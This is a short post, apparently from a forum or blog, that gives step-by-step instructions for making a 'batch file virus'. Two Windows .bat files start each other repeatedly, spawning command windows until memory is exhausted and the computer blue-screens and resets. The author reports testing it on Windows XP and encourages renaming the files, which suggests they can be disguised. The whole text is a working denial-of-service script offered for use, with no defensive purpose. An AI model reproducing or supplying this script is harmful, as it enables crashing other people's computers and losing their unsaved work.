A batch File virus

I’ve tried this on windows XP and it seems to kill the computer and it forces the computer to blue screen then reset. [I've yet to text on vista] This is what I did….

1. Opened up notepad and typed
start important.bat
start important1.bat
close;

2. Clicked save as and saved it as important.bat

3. Clicked save as again and saved it as important1.bat

4. When you click on either 1 of the bats it will spam CMD windows thus killing you memory and forcing it to blue screen and reset

you can rename ‘important.bat’ and ‘important1.bat’ anything you want but make sure it’s

start [bat name file].bat
start [bat name file].bat
close;
